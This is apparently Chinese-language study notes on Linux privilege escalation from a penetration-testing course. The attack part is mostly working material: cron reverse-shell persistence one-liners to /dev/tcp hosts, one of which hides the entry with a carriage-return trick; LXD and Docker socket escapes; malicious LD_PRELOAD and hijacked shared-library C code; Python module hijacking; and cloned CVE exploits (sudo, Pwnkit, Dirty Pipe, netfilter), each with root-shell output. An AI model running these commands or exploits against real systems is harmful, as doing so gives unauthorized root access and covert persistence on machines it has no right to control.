crontab [ -u user ] [ -i ] { -e | -l | -r }
file 从文件中导入定时任务(默认替换)
-u <user> 指定要操作的用户的 crontab 文件(root)
-e 编辑当前用户的定时任务文件
-l 当前用户的定时任务列表
-r 删除当前用户的定时任务文件

crontab 文件格式:
* * * * * command
- - - - -
| | | | |
| | | | +---- 星期几 (0 - 7) (星期日为 0 或 7)
| | | +------ 月份 (1 - 12)
| | +-------- 一个月中的第几天 (1 - 31)
| +---------- 小时 (0 - 23)
+------------ 分钟 (0 - 59)
example:
* * * * * /path/to/script.sh 每分钟运行一次脚本
*/10 * * * * /path/to/script.sh 每隔 10 分钟运行一次脚本
5,35 * * * * /path/to/script.sh 每小时的第 5 分钟和第 35 分钟运行脚本
0 15 * * 1,2 /path/to/script.sh 每周一和周二的下午 3 点运行脚本

crontab 支持一些特殊字符串来简化时间设置:
@reboot 系统启动时运行一次
@yearly 或 @annually:每年运行一次,相当于 0 0 1 1 *
@monthly 每月运行一次,相当于 0 0 1 * *
@weekly 每周运行一次,相当于 0 0 * * 0
@daily | @midnight 每天运行一次,相当于 0 0 * * *
@hourly 每小时运行一次,相当于 0 * * * *
example:
@reboot /path/to/script.sh
@daily /path/to/daily_script.sh
@weekly /path/to/weekly_script.sh

# 服务启动:
service cron start
# or
/etc/init.d/cron {start|stop|status|restart|reload|force-reload}

# 常用crontab命令
* * * * * bash -i >& /dev/tcp/192.168.10.128/2222 0>&1

crontab -l | { cat; echo "* * * * * bash -i >& /dev/tcp/192.168.10.128/2222 0>&1";} | crontab -

(crontab -l;printf "* * * * * bash -i >& /dev/tcp/192.168.10.128/2222 0>&1;\rno crontab for `whoami`%100c\n")|crontab -

某些应用程序会在 /etc/cron.d 目录中创建 cron 文件,并且可能配置错误,允许非 root 用户编辑它们。

检查一下系统中是否有可写文件或目录

1
2
3
4
5
6
7
8
9
10
11
$ find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

/etc/cron.daily/backup
/dmz-backups/backup.sh
/proc
/sys/fs/cgroup/memory/init.scope/cgroup.event_control

<SNIP>
/home/backupsvc/backup.sh

<SNIP>

pspy是一个命令行工具,用于查看正在运行的进程,无需 root 权限。可以使用它来查看其他用户运行的命令、cron 作业等。它的工作原理是扫描procfs-pf打印命令和文件系统事件,-i 1000扫描一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ ./pspy64 -pf -i 1000

pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/09/04 20:45:03 CMD: UID=0 PID=999 | /usr/bin/VGAuthService
2020/09/04 20:45:03 CMD: UID=111 PID=990 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
2020/09/04 20:45:03 CMD: UID=0 PID=99 |
2020/09/04 20:45:03 CMD: UID=0 PID=988 | /usr/lib/snapd/snapd

<SNIP>

2020/09/04 20:45:03 CMD: UID=0 PID=1017 | /usr/sbin/cron -f
2020/09/04 20:45:03 CMD: UID=0 PID=1010 | /usr/sbin/atd -f
2020/09/04 20:45:03 CMD: UID=0 PID=1003 | /usr/lib/accountsservice/accounts-daemon
2020/09/04 20:45:03 CMD: UID=0 PID=1001 | /lib/systemd/systemd-logind
2020/09/04 20:45:03 CMD: UID=0 PID=10 |
2020/09/04 20:45:03 CMD: UID=0 PID=1 | /sbin/init
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2201 | /bin/bash /dmz-backups/backup.sh
2020/09/04 20:46:01 CMD: UID=0 PID=2200 | /bin/sh -c /dmz-backups/backup.sh
2020/09/04 20:46:01 FS: OPEN | /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
2020/09/04 20:46:01 CMD: UID=0 PID=2199 | /usr/sbin/CRON -f
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2203 |
2020/09/04 20:46:01 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2204 | tar --absolute-names --create --gzip --file=/dmz-backups/www-backup-202094-20:46:01.tgz /var/www/html
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2205 | gzip
2020/09/04 20:46:03 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:03 CMD: UID=0 PID=2206 | /bin/bash /dmz-backups/backup.sh
2020/09/04 20:46:03 FS: CLOSE_NOWRITE | /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
2020/09/04 20:46:03 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive

可以看到一个 cron 作业运行位于 /dmz-backups 目录中的 backup.sh 脚本,并创建 /var/www/html 目录内容的 tarball 文件。

附加恶意代码,尝试以 root 身份获取反向 shell

1
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
1
2
3
4
5
6
7
8
$ nc -lnvp 443

listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38882
bash: cannot set terminal process group (9143): Inappropriate ioctl for device
bash: no job control in this shell

root@NIX02:~#

Container

LXD

容器在操作系统层面运行,而虚拟机在硬件层面运行。因此,容器共享操作系统并将应用程序进程与系统其余部分隔离,而传统虚拟化允许多个操作系统在单个系统上同时运行。

Linux 容器 ( LXC) 是一种操作系统级虚拟化技术,允许多个 Linux 系统通过拥有自己的进程但共享主机系统内核在单个主机上彼此隔离地运行。

Linux Daemon ( LXD ) 在某些方面与之类似,但它被设计为包含一个完整的操作系统。因此,它不是一个应用程序容器,而是一个系统容器。

1
2
3
$ id

uid=1000(container-user) gid=1000(container-user) groups=1000(container-user),116(lxd)

将此容器作为映像导入

1
2
3
4
5
6
7
8
$ lxc image import ubuntu-template.tar.xz --alias ubuntutemp
$ lxc image list

+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
| ubuntu/18.04 (v1.1.2) | 623c9f0bde47 | no | Ubuntu bionic amd64 (20221024_11:49) | x86_64 | CONTAINER | 106.49MB | Oct 24, 2022 at 12:00am (UTC) |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+

指定标志和容器的根路径来启动镜像并对其进行配置,security.privileged=true禁用允许在主机上执行操作的所有隔离功能

1
2
$ lxc init ubuntutemp privesc -c security.privileged=true
$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

完成上述操作后,就可以启动容器并登录。

1
2
3
$ lxc start privesc
$ lxc exec privesc /bin/bash
root@nix02:~#

Docker

Docker 是一种流行的开源工具,它为软件应用程序提供可移植且一致的运行时环境。它使用容器作为用户空间中的隔离环境,在操作系统级别运行并共享文件系统和系统资源。

Docker 架构的核心是客户端-服务器模型,其中有两个主要组件:

  • Docker 守护进程
  • Docker 客户端

Docker 共享目录

共享目录,可以在容器内访问主机系统上的特定目录或文件。

1
2
$ cd /hostsystem/home/cry0l1t3
root@container:~$

Docker 套接字

Docker 套接字或 Docker 守护程序套接字是一种特殊文件,允许和进程与 Docker 守护程序进行通信。

创建 Docker 容器,将主机的根目录 ( /) 映射到/hostsystem容器上的目录

1
2
3
4
5
$ docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
$ docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash


root@7ae3bcc818af:~# cat /hostsystem/root/.ssh/id_rsa

通常,此套接字位于/var/run/docker.sock。但是,位置可以不同,这是可以理解的。因为基本上,这只能由 root 或 docker 组写入。

如果不属于这两个组之一的用户,并且 Docker 套接字仍然具有可写的权限,那么可以使用这种情况来提升权限。

1
2
3
$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

root@ubuntu:~#

Logrotate

每个 Linux 系统都会生成大量日志文件。为了防止硬盘溢出,一个名为logrotate的工具负责归档或处理旧日志。

Logrotate 本身的功能是重命名日志文件。例如,可以为每个新一天创建新的日志文件,并自动重命名较旧的日志文件。另一个例子是清空最旧的日志文件,从而减少内存消耗。

此工具通常通过cron定期启动并通过配置文件/etc/logrotate.conf进行控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ cat /etc/logrotate.conf


# see "man logrotate" for details

# global options do not affect preceding include directives

# rotate log files weekly
weekly

# use the adm group by default, since this is the owning group
# of /var/log/syslog.
su root adm

# keep 4 weeks worth of backlogs
rotate 4

# create new (empty) log files after rotating old ones
create

# use date as a suffix of the rotated file
#dateext

# uncomment this if you want your log files compressed
#compress

# packages drop log rotation information into this directory
include /etc/logrotate.d

# system-specific logs may also be configured here.

为了利用logrotate,需要满足一些要求。

  1. 需要日志文件的write权限
  2. logrotate 必须以特权用户身份运行或root
  3. 易受攻击的版本:
    • 3.8.6
    • 3.11.0
    • 3.15.0
    • 3.18.0

如果满足要求,可以利用名为logrotten的漏洞。

1
2
3
4
$ git clone https://github.com/whotwagner/logrotten.git
$ cd logrotten
$ gcc logrotten.c -o logrotten
$ echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload

在利用漏洞利用之前,需要确定logrotate使用了哪个选项logrotate.conf,必须使用适合此功能的漏洞

1
2
3
$ grep "create\|compress" /etc/logrotate.conf | grep -v "#"

create

exploit

1
$ ./logrotten -p ./payload /tmp/tmp.log
1
2
3
4
5
6
7
$ nc -nlvp 9001

Listening on 0.0.0.0 9001
Connection received on 10.129.24.11 49818
# id

uid=0(root) gid=0(root) groups=0(root)

Miscellaneous Techniques

被动流量捕获

捕获网络上传递的数据,例如net-credsPCredz

弱 NFS 权限

1
2
3
4
5
$ showmount -e 10.129.2.12

Export list for 10.129.2.12:
/tmp *
/var/nfs/general *
选项 描述
root_squash 如果使用 root 用户访问 NFS 共享,则会将其更改为nfsnobody用户,这是一个非特权帐户。由 root 用户创建和上传的任何文件都将归该用户所有nfsnobody,这可以防止攻击者上传设置了 SUID 位的二进制文件。
no_root_squash 以本地 root 用户身份连接到共享的远程用户将能够以 root 用户身份在 NFS 服务器上创建文件。这将允许创建设置了 SUID 位的恶意脚本/程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat /etc/exports

# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)

可以创建一个使用本地 root 用户执行/bin/sh的 SETUID 二进制文件。然后,在本地挂载目录,将 root 拥有的二进制文件复制到 NFS 服务器,并设置 SUID 位。

Hijacking Tmux Session

用户可能会让tmux进程以特权用户身份运行,例如设置了弱权限的 root,并且可能被劫持。

创建新的共享会话并修改所有权

1
2
$ tmux -S /shareds new -s debugsess
$ chown root:devs /shareds

如果可以攻陷dev组中的一个用户,就可以附加到该会话并获得 root 访问权限。

1
2
3
4
5
$ tmux -S /shareds

id

uid=0(root) gid=0(root) groups=0(root)

Kernel Exploits

各种 Linux 内核版本都存在内核级漏洞。这些漏洞利用内核中的漏洞以 root 权限执行代码。

1
2
3
4
5
6
7
8
9
10
$ uname -a

Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

$ cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"

Shared Libraries

Linux 程序通常使用动态链接共享对象库。库包含已编译的代码或其他数据,开发人员可以使用它们来避免在多个程序中重写相同的代码。Linux 中存在两种类型的库:static libraries(用 .a 文件扩展名表示)和dynamically linked shared object libraries(用 .so 文件扩展名表示)。编译程序时,静态库将成为程序的一部分,无法更改。但是,可以修改动态库以控制调用它们的程序的执行。

LD_PRELOAD环境变量可以在执行二进制文件之前加载库。此库中的函数优先于默认函数。

使用ldd实用程序查看二进制文件所需的共享对象

1
2
3
4
5
6
7
8
9
$ ldd /bin/ls

linux-vdso.so.1 => (0x00007fff03bc7000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4186288000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4185ebe000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4185c4e000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4185a4a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f41864aa000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f418582d000)

exploit

1
2
3
4
5
6
7
$ sudo -l

Matching Defaults entries for daniel.carter on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User daniel.carter may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/apache2 restart

利用此LD_PRELOAD问题来运行自定义共享库文件

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

编译

1
gcc -fPIC -shared -o root.so root.c -nostartfiles

指定恶意库文件的完整路径

1
2
3
4
$ sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

id
uid=0(root) gid=0(root) groups=0(root)

Shared Object Hijacking

正在开发的程序和二进制文件通常具有与之关联的自定义库。

ldd 显示对象的位置以及针对程序的每个依赖项将其加载到内存中的十六进制地址

1
2
3
4
5
6
$ ldd payroll

linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

看到一个名为libshared.so的非标准库被列为二进制文件的依赖项。如前所述,可以从自定义位置加载共享库。配置就是这样一种设置RUNPATH。此文件夹中的库优先于其他文件夹。可以使用readelf实用程序检查这一点。

1
2
3
$ readelf -d payroll  | grep PATH

0x000000000000001d (RUNPATH) Library runpath: [/development]

该配置允许从/development文件夹加载库,所有用户均可写入。可以通过将恶意库放置在/development中来利用此错误配置,该库将优先于其他文件夹,因为此文件中的条目会首先被检查(在配置文件中存在的其他文件夹之前)。

1
2
3
4
5
$ ls -la /development/

total 8
drwxrwxrwx 2 root root 4096 Sep 1 22:06 ./
drwxr-xr-x 23 root root 4096 Sep 1 21:26 ../

在编译库之前,需要找到二进制文件调用的函数名。

1
2
3
4
5
6
7
8
9
10
11
$ ldd payroll

linux-vdso.so.1 (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)

$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so

$ ./payroll

./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

运行ldd二进制文件会列出库的路径/development/libshared,这意味着它存在漏洞。执行二进制文件会抛出一个错误,指出找不到名为的函数dbquery。可以编译一个包含此函数的共享对象。

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}

编译

1
gcc src.c -fPIC -shared -o /development/libshared.so

exploit

1
2
3
4
5
6
7
$ ./payroll 

***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)

Python Library Hijacking

错误的写入权限

查看mem_status.py脚本的设置权限,可以看到它有一个SUID设置

1
2
3
$ ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

查看脚本

1
2
3
4
5
6
#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

第二行看到这个脚本导入了模块psutil并使用了函数virtual_memory()。因此,可以在文件夹中查找此功能psutil并检查该模块是否具有写入权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

注入代码

1
2
3
4
5
6
7
8
9
10
...SNIP...

def virtual_memory():

...SNIP...
#### Hijacking
import os
os.system('id')

...SNIP...

exploit

1
2
3
4
5
$ sudo python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%

Library Path

在 Python 中,每个版本都有指定的搜索和导入库 (modules) 的顺序。Python 导入modules的顺序基于优先级系统,这意味着列表中较高的路径优先于列表中较低的路径。

1
2
3
4
5
6
7
$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

为了能够使用此改变,需要满足两个先决条件:

  1. 脚本导入的模块位于通过 PYTHONPATH 变量列出的较低优先级路径之一下。
  2. 必须对列表中具有较高优先级的路径之一具有写权限。

如果导入的模块位于列表中较低的路径中,并且用户可以编辑更高优先级的路径,可以自己创建一个具有相同名称的模块并包含自己想要的功能。由于更高优先级的路径会更早被读取并检查相关模块,因此 Python 会访问它找到的第一个匹配项并将其导入,然后再到达原始和预期的模块。

查看安装位置

1
2
3
4
5
6
$ pip3 show psutil

...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

...SNIP...

查看环境中是否存在任何错误配置,以允许write访问其中任何一个

1
2
3
4
5
$ ls -la /usr/lib/python3.8

total 4916
drwxr-xrwx 30 root root 20480 Dec 14 16:26 .
...SNIP...

路径配置错误,允许任何用户对其进行写入。通过与 PYTHONPATH 变量的值进行交叉检查,可以看到此路径在列表中的位置高于安装 psutil 的路径。尝试利用此错误配置在 /usr/lib/python3.8 目录中创建自己的 psutil 模块,其中包含自己的恶意 virtual_memory() 函数。

为了达到这一点,需要在前面提到的目录中创建与导入具有相同的名称一个名为的文件(psutil.py),其中包含下面列出的内容。

1
2
3
4
5
6
#!/usr/bin/env python3

import os

def virtual_memory():
os.system('id')

exploit

1
2
3
4
5
6
7
$ sudo python3 mem_status.py

uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
File "mem_status.py", line 4, in <module>
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available'

Vulnerabilities

Sudo

CVE-2021-3156

CVE-2021-3156 并且基于基于堆的缓冲区溢出漏洞。这影响了 sudo 版本:

  • 1.8.31——Ubuntu 20.04
  • 1.8.27 - Debian 10
  • 1.9.2 - Fedora 33
  • others
1
2
3
4
5
6
7
8
9
10
11
$ sudo -V

Sudo version 1.8.31
...SNIP...

$ cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

usage: ./sudo-hax-me-a-sandwich <target>

available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------

manual mode:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>


$ ./sudo-hax-me-a-sandwich 1

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **

# id

uid=0(root) gid=0(root) groups=0(root)

Sudo Policy Bypass

CVE-2019-14287,影响了1.8.28以下所有版本,即使使用简单的命令也可以提升权限,只需要一个先决条件。它必须允许/etc/sudoers文件中的用户执行特定命令。

1
2
3
4
5
$ sudo -l
[sudo] password for cry0l1t3: **********

User cry0l1t3 may run the following commands on Penny:
ALL=(ALL) /usr/bin/id

如果在 sudo 中输入负 ID (-1),则将处理只有 root 才拥有的 ID 0。因此,这会导致直接进入 root shell。

1
2
3
4
5
$ sudo -u#-1 id

root@nix02:~# id

uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)

Polkit

PolicyKit ( polkit) 是基于 Linux 的操作系统上的授权服务,允许用户软件和系统组件在用户软件获得授权的情况下相互通信。

PolKit 附带三个附加程序:

  • pkexec- 使用其他用户的权限或 root 权限运行程序
  • pkaction- 可用于显示动作
  • pkcheck- 这可用于检查某个进程是否被授权执行特定操作

CVE-2021-4034 内存损坏漏洞,也称为Pwnkit,同样会导致权限提升。

1
2
3
$ pkexec -u root id

uid=0(root) gid=0(root) groups=0(root)

exploit

1
2
3
4
5
6
7
8
$ git clone https://github.com/arthepsy/CVE-2021-4034.git
$ cd CVE-2021-4034
$ gcc cve-2021-4034-poc.c -o poc
$ ./poc

# id

uid=0(root) gid=0(root) groups=0(root)

Dirty Pipe

Dirty Pipe ( CVE-2022-0847 ) 漏洞允许未经授权写入 Linux 上的 root 用户文件。从版本5.85.17的所有内核都受到影响,并且容易受到此漏洞的影响。

简单来说,只要用户有读取文件的权限,此漏洞便可让用户写入任意文件。

1
2
3
$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
$ cd CVE-2022-0847-DirtyPipe-Exploits
$ ./compile.sh

第一个漏洞利用版本(exploit-1)修改了/etc/passwd并为提供了具有 root 权限的提示。

1
2
3
4
5
6
7
8
9
10
$ ./exploit-1

Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)

id

uid=0(root) gid=0(root) groups=0(root)

第二个漏洞脚本(exploit-2),可以以 root 权限执行 SUID 二进制文件。在执行此操作之前,首先需要找到这些 SUID 二进制文件。

1
2
3
4
5
$ find / -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
...SNPI...

exploit-2

1
2
3
4
5
6
7
8
9
10
$ ./exploit-2 /usr/bin/sudo

[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))

# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(cry0l1t3)

Netfilter

Netfilter是一个 Linux 内核模块,提供数据包过滤、网络地址转换和其他与防火墙相关的工具。它通过根据数据包的特征和规则操纵单个数据包来控制和调节网络流量。当接收和发送网络数据包时,它会启动其他模块(如数据包过滤器)的执行。然后,这些模块可以拦截和操纵数据包。

这个内核模块主要有三个功能:

  1. 数据包碎片整理
  2. 连接跟踪
  3. 网络地址转换 (NAT)

当模块被激活时,所有 IP 数据包都会经过 Netfilter 的检查,然后才会转发到自身或远程系统的目标应用程序。

CVE-2021-22555

CVE-2021-22555 影响的内核版本:2.6 - 5.11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
$ gcc -m32 -static exploit.c -o exploit
$ ./exploit

[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: fff
[+] real_idx: fdf

...SNIP...

root@ubuntu:/home/cry0l1t3# id

uid=0(root) gid=0(root) groups=0(root)

CVE-2022-25636

CVE-2022-25636 影响 Linux 内核 5.4 到 5.6.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ git clone https://github.com/Bonfee/CVE-2022-25636.git
$ cd CVE-2022-25636
$ make
$ ./exploit

[*] STEP 1: Leak child and parent net_device
[+] parent net_device ptr: 0xffff991285dc0000
[+] child net_device ptr: 0xffff99128e5a9000

[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
[+] net_device struct freed

[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device
[+] obtained net_device struct

[*] STEP 4: Leak kaslr
[*] kaslr leak: 0xffffffff823093c0
[*] kaslr base: 0xffffffff80ffefa0

[*] STEP 5: Release setxattrs, free net_device, and realloc it again
[+] obtained net_device struct

[*] STEP 6: rop :)

# id

uid=0(root) gid=0(root) groups=0(root)

CVE-2023-32233

CVE-2023-32233 此漏洞利用了 Linux 内核 6.3.1 及以上版本中的 Use-After-Free 漏洞,利用了 nf_tables 中所谓的匿名集。这些 nf_tables 是处理批处理请求的临时工作区,处理完成后,这些匿名集应该被清除(Use-After-Free),因此无法再使用。由于代码错误,这些匿名集未得到正确处理,程序仍然可以访问和修改它们。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ git clone https://github.com/Liuk3r/CVE-2023-32233
$ cd CVE-2023-32233
$ gcc -Wall -o exploit exploit.c -lmnl -lnftnl
$ ./exploit

[*] Netfilter UAF exploit

Using profile:
========
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
========

[*] Checking for available CPUs...
[*] sched_getaffinity() => 0 2
[*] Reserved CPU 0 for PWN Worker
[*] Started cpu_spinning_loop() on CPU 1
[*] Started cpu_spinning_loop() on CPU 2
[*] Started cpu_spinning_loop() on CPU 3
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...

...SNIP...

[*] You've Got ROOT:-)

# id
uid=0(root) gid=0(root) groups=0(root)
⬆︎TOP